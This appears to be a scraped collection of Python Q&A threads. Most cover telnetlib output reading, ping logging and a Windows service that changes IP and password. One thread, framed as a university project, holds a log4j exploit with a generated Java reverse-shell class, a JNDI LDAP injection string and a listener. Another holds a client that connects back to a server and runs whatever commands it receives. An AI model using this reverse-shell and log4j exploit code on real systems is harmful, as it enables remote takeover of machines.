with python script I want to make some configuration on mikrotik routers, looks like script is right and no gives errors but ends without printing command outputs
import telnetlib
import time
dev_ip = "172.16.62.160"
user = "admin"
PASSWORD = ""
comm1 = "ip address print"
tn = telnetlib.Telnet(dev_ip, timeout=1)
tn.read_until(b"Login: ")
tn.write(user.encode("ascii") + b'\n')
tn.read_until(b"Password: ")
tn.write(PASSWORD.encode("ascii") + b'\n')
tn.read_until(b">")
time.sleep(1)
tn.write(comm1.encode("ascii") + b"\r\n")
Showcmdoutput = tn.read_very_eager().decode('ascii')
print(Showcmdoutput)
tn.close()
print("DONE")
running on Ubuntu Desktop
problem solved after putting:
time.sleep(1)
before Showcmdoutput = tn.read_very_eager().decode('ascii')
tn.write(comm1.encode("ascii") + b"\r\n")
time.sleep(1)
Showcmdoutput = tn.read_very_eager().decode('ascii')
Related
for a university project I am testing the log4j vulnerability. To do this, I use a python server that connects to the java client by creating a reverse shell.
Everything works except the output to server which is not displayed correctly. Specifically, the server shows the output of two previous inputs and I'm not understanding why.
I'm new to python and java programming so I'm a little confused.
Initial project: https://github.com/KleekEthicalHacking/log4j-exploit
I made some changes and added a python socket to handle the reverse shell.
PS: with netcat it seems to work fine but command with some space non work (ex: cd .. not work)
For run this project i use kali linux (python server) and ubuntu (java webapp). This code does not yet manage clients with windows os
poc.py + exploit class:
import sys
import argparse
from colorama import Fore, init
import subprocess
import multiprocessing
from http.server import HTTPServer, SimpleHTTPRequestHandler
init(autoreset=True)
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def payload(userip, webport, lport):
genExploit = (
"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%s;
//String cmd="/bin/sh";
String [] os_specs = GetOperatingSystem();
String os_name = os_specs[0].toString();
String cmd = os_specs[1].toString();
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
so.write(os_name.getBytes("UTF-8"));
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
public String [] GetOperatingSystem() throws Exception {
String os = System.getProperty("os.name").toLowerCase();
String [] result = new String[3];
if (os.contains("win")) {
result[0] = "Windows";
result[1] = "cmd.exe";
}
else if (os.contains("nix") || os.contains("nux") || os.contains("aix")) {
result[0] = "Linux";
result[1] = "/bin/sh";
}
return result;
}
}
""") % (userip, lport)
# writing the exploit to Exploit.java file
try:
f = open("Exploit.java", "w")
f.write(genExploit)
f.close()
print(Fore.GREEN + '[+] Exploit java class created success')
except Exception as e:
print(Fore.RED + f'[X] Something went wrong {e.toString()}')
# checkJavaAvailible()
# print(Fore.GREEN + '[+] Setting up LDAP server\n')
# openshellforinjection(lport)
checkJavaAvailible()
print(Fore.GREEN + '[+] Setting up a new shell for RCE\n')
p1 = multiprocessing.Process(target=open_shell_for_injection, args=(lport,))
p1.start()
print(Fore.GREEN + '[+] Setting up LDAP server\n')
p2 = multiprocessing.Process(target=createLdapServer, args=(userip, webport))
p2.start()
# create the LDAP server on new thread
# t1 = threading.Thread(target=createLdapServer, args=(userip, webport))
# t1.start()
# createLdapServer(userip, webport)
# start the web server
print(Fore.GREEN + f"[+] Starting the Web server on port {webport} http://0.0.0.0:{webport}\n")
httpd = HTTPServer(('0.0.0.0', int(webport)), SimpleHTTPRequestHandler)
httpd.serve_forever()
def checkJavaAvailible():
javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL,
stdout=subprocess.DEVNULL)
if javaver != 0:
print(Fore.RED + '[X] Java is not installed inside the repository ')
sys.exit()
def createLdapServer(userip, lport):
sendme = "${jndi:ldap://%s:1389/a}" % userip
print(Fore.GREEN + "[+] Send me: " + sendme + "\n")
subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])
url = "http://{}:{}/#Exploit".format(userip, lport)
subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
"target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])
def open_shell_for_injection(lport):
terminal = subprocess.call(["qterminal", "-e", "python3 -i rce.py --lport " + lport])
# terminal = subprocess.call(["qterminal", "-e", "nc -lvnp " + lport]) #netcat work
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='please enter the values ')
parser.add_argument('--userip', metavar='userip', type=str,
nargs='+', help='Enter IP for LDAPRefServer & Shell')
parser.add_argument('--webport', metavar='webport', type=str,
nargs='+', help='listener port for HTTP port')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Netcat Port')
args = parser.parse_args()
payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] user interupted the program.")
sys.exit(0)
rce.py:
import argparse
import socket
import sys
from colorama import Fore, init
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def socket_for_rce(lport):
print(Fore.GREEN + "[+] Setup Shell for RCE\n")
SERVER_HOST = "0.0.0.0"
SERVER_PORT = int(lport)
BUFFER_SIZE = 8192
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(1)
print(Fore.GREEN + f"Listening as {SERVER_HOST}:{SERVER_PORT}\n")
client_socket, client_address = s.accept()
print(
Fore.GREEN + "(" + Fore.YELLOW + "REMOTE HOST" + Fore.GREEN + ") " + f"{client_address[0]}:{client_address[1]}"
f" --> "
f"Connected! (exit = close connection)\n")
os_target = client_socket.recv(BUFFER_SIZE).decode()
print("OS TARGET: " + Fore.YELLOW + os_target + "\n")
if not os_target:
print(Fore.RED + "[X] No OS detected\n")
folderCommand = "pwd"
folderCommand += "\n"
client_socket.sendall(folderCommand.encode())
path = client_socket.recv(BUFFER_SIZE).decode()
print("path: " + path)
if not path:
print(Fore.RED + "[X] No work folder received\n")
path_text = Fore.GREEN + "(" + Fore.YELLOW + "REMOTE" + Fore.GREEN + ") " + path
while True:
command = input(f"{path_text} > ")
command += "\n"
# if not command.strip():
# continue
if command != "":
if command == "exit":
print(Fore.RED + "\n[X] Connection closed\n")
client_socket.close()
s.close()
break
else:
client_socket.sendall(command.encode())
data = client_socket.recv(BUFFER_SIZE).decode()
print(data)
else:
pass
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='Instruction for usage: ')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Rce Port')
args = parser.parse_args()
socket_for_rce(listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] User interupted the program.")
sys.exit(0)
Result:
Now works. I added time.sleep(0.2) after each sendall in rce.py
I write a socket programming code client.py and server.py and it work awesome. Now I face a little problem I want to get the name of PC and show it like this device is connected below is the code. I tried different method but all fail. Basically, I have a couple Windows computers on my network that will be running a python script. So through this method I will know all computer name
client.py
import os, socket, subprocess ,getpass
def shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '192.168.100.9'
port = 9995
s.connect((host, port))
# userName = getpass.getuser()
# s.send(str.encode(userName))
# print(userName)
while True:
try:
data = s.recv(800000)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
# print(output_str) # if you want to show the output to the victim
except:
shell()
if __name__ == "__main__":
shell()
below is server code
server.py
def list_connections():
results = ''
for i, conn in enumerate(all_connections):
try:
conn.send(str.encode(' '))
conn.recv(80000000)
except:
del all_connections[i]
del all_address[i]
continue
results = str(i) + " " + str(all_address[i][0]) + " " + str(all_address[i][1]) + "\n"
print("----Clients----" + "\n" + results)
it gave me output like this
output::
----Clients----
0 192.168.100.9 55747
I want output like this:::
output::
----Clients----
0 PC_NAME 192.168.100.9 55747
You can attempt to call socket.gethostbyaddr() on the IP address.
However, that depends on the DNS configuration of the server system - there's no real guarantee that the machines have registered their names with the local name server.
I have written a program that can change the system's IP address/password automatically at a specific time. In addition, it has two separate python files.
The first one is a program that runs the main program under the service, retrieves the desired information from the user and stores it in a `.txt' file.
# Import/Lib
import os
import sys
import pysc
import time
# Services
if __name__ == '__main__':
service_name = 'test4'
script_path = os.path.join(
os.path.dirname(__file__)+"\\"+"Run.exe"
)
pysc.create(
service_name=service_name,
cmd=[sys.executable, script_path]
)
print("CreateService SUCCESS")
pysc.start(service_name)
print("StartService SUCCESS")
# Input data
time_today = input("Enter a Time (MM:SS): ")
date_today = input("Enter a Date (YYYY-MM-DD): ")
adapter_name = input("Enter your interface name: ")
interface_name = "\"" + adapter_name + "\""
static_ip = input("Enter your static ip: ")
subnet = input("Enter your subnet mask: ")
gateway = input("Enter your gateway: ")
time.sleep(0.5)
print("")
pass_complexity = "Windows password complexity rules:""\n" \
"-Password must not contain the user's account name or more than two consecutive "\
"characters from the user's full name.""\n"\
"-Password must be six or more characters long.""\n"\
"-Password must contain characters from three of the following four categories:""\n"\
" .Uppercase characters A-Z (Latin alphabet)""\n"\
" .Lowercase characters a-z (Latin alphabet)""\n"\
" .Digits 0-9""\n"\
" .Special characters (!, $, #, %, etc.)""\n"
print(pass_complexity)
password = input("New password: ")
conform_pass = input("Confirm password: ")
stop = True
while stop == True:
if password == conform_pass:
print("Input info completed")
print("Interface adapter", interface_name + ":")
print("IPv4 Address. . . . . . . . . . . : ", static_ip)
print("Subnet Mask . . . . . . . . . . . : ", subnet)
print("Default Gateway . . . . . . . . . : ", gateway, "\n")
print("Your password:", password, "\n")
stop = False
else:
print("Sorry, passwords do not match.", "\n")
password = input("New password: ")
conform_pass = input("Confirm password: ")
# Write file
file_name = os.path.dirname(__file__)+"\\"+"Network Monitoring Utility.txt"
my_file = open(file_name, 'w')
my_file.write(time_today+" ")
my_file.write(date_today+" ")
my_file.write(interface_name+" ")
my_file.write(static_ip+" ")
my_file.write(subnet+" ")
my_file.write(gateway+" ")
my_file.write(password+" ")
my_file.close()
wait = input("Please enter for exit.")
The second program compares the system clock with the read time by reading the desired .txt file information. If the system date and time are the same as the date and time entered, it will change the system's IP address/password.
# Import Lib
import subprocess
import getpass
from datetime import date
import datetime
import time
time.sleep(90)
# Read data
my_file = open('Network Monitoring Utility.txt', 'r')
data = my_file.read()
data = data.split()
my_file.close()
time = data[0]
set_date = data[1]
interface_name = data[2]
static_ip = data[3]
subnet = data[4]
gateway = data[5]
password = data[6]
# Check data and time and change ip, subnet mask, gateway and password
stop = True
while stop == True:
now_time = str(datetime.datetime.now().time())
now_date = str(date.today())
if now_date == set_date and now_time > time:
stop = False
subprocess.check_call("netsh interface ipv4 set address name="
+ interface_name + " " + "static" + " " + static_ip + " " + subnet + " "
+ gateway, shell=True)
username = getpass.getuser()
subprocess.check_call("net users " + username + " " + password, shell=True)
When I run this program in Pycharm it runs without any problems. But when I convert both programs with pyinstaller to '.exe', the program will not run under service. this will cause an error.
filenotfounderror: [winerror 2] the system cannot find the file specified.
This message is also because the program requires a Python executable file to run severely on the service.
How to run this service without having to install Python on a system?
I need to write in a txt file during a infinite while. But it's not writing and if I don't use infinite while it's works.
What do I have to change ?
My goal is to ping different ip infinite time and when the ping fails, it's written in the file with the time and date
I've tried the code without the while True and it works.
I think the code need to be stop to write but can we do without stop ?
import os
import datetime
fichier = open("log.txt", "a")
date = datetime.datetime.now()
hostnames = [
'192.168.1.1',
'192.168.1.2',
'192.168.1.3',
]
while True :
for hostname in hostnames:
ping = os.system(" Ping " + str(hostname))
if ping == 1:
print("DOWN")
fichier.write(str(date) + " " + str(hostname) + '\n' + '\n')
else:
print("UP")
I expect the output when it's failed with a stamp Date/Time and the IP Address
To sum up all the answers in one:
try:
with open('log.txt', 'a') as fichier:
while True:
for hostname in hostnames:
ping = os.system(" Ping " + str(hostname))
if ping == 1:
print("DOWN")
fichier.flush()
fichier.write(str(date) + " " + str(hostname) + '\n' + '\n')
else:
print("UP")
except KeyboardInterrupt:
print("Done!")
I'm using Python's telnetlib to telnet to some machine and executing few commands and I want to get the output of these commands.
So, what the current scenario is -
tn = telnetlib.Telnet(HOST)
tn.read_until("login: ")
tn.write(user + "\n")
if password:
tn.read_until("Password: ")
tn.write(password + "\n")
tn.write("command1")
tn.write("command2")
tn.write("command3")
tn.write("command4")
tn.write("exit\n")
sess_op = tn.read_all()
print sess_op
#here I get the whole output
Now, I can get all the consolidated output in sess_op.
But, what I want is to get the output of command1 immediately after its execution and before the execution of command2 as if I'm working in the shell of the other machine, as shown here -
tn = telnetlib.Telnet(HOST)
tn.read_until("login: ")
tn.write(user + "\n")
if password:
tn.read_until("Password: ")
tn.write(password + "\n")
tn.write("command1")
#here I want to get the output for command1
tn.write("command2")
#here I want to get the output for command2
tn.write("command3")
tn.write("command4")
tn.write("exit\n")
sess_op = tn.read_all()
print sess_op
I ran into something similar while working with telnetlib.
Then I realized a missing carriage return and a new line at the end of each command and did a read_eager for all commands. Something like this:
tn = telnetlib.Telnet(HOST, PORT)
tn.read_until("login: ")
tn.write(user + "\r\n")
tn.read_until("password: ")
tn.write(password + "\r\n")
tn.write("command1\r\n")
ret1 = tn.read_eager()
print ret1 #or use however you want
tn.write("command2\r\n")
print tn.read_eager()
... and so on
instead of only writing the command like:
tn.write("command1")
print tn.read_eager()
If it worked with just a "\n" for you, adding only a "\n" might be enough instead of "\r\n" but in my case, I had to use "\r\n" and I haven't tried with just a new line yet.
You must refer to the documentation of telnetlib module here.
Try this -
tn = telnetlib.Telnet(HOST)
tn.read_until("login: ")
tn.write(user + "\n")
if password:
tn.read_until("Password: ")
tn.write(password + "\n")
tn.write("command1")
print tn.read_eager()
tn.write("command2")
print tn.read_eager()
tn.write("command3")
print tn.read_eager()
tn.write("command4")
print tn.read_eager()
tn.write("exit\n")
sess_op = tn.read_all()
print sess_op
I was also going through the same issue where the read_very_eager() function was not displaying any data. From some post got the idea that the command will require some time to execute. so used the time.sleep() function.
Code Snippet:
tn.write(b"sh ip rou\r\n")
time.sleep(10)
data9 = tn.read_very_eager()
print(data9)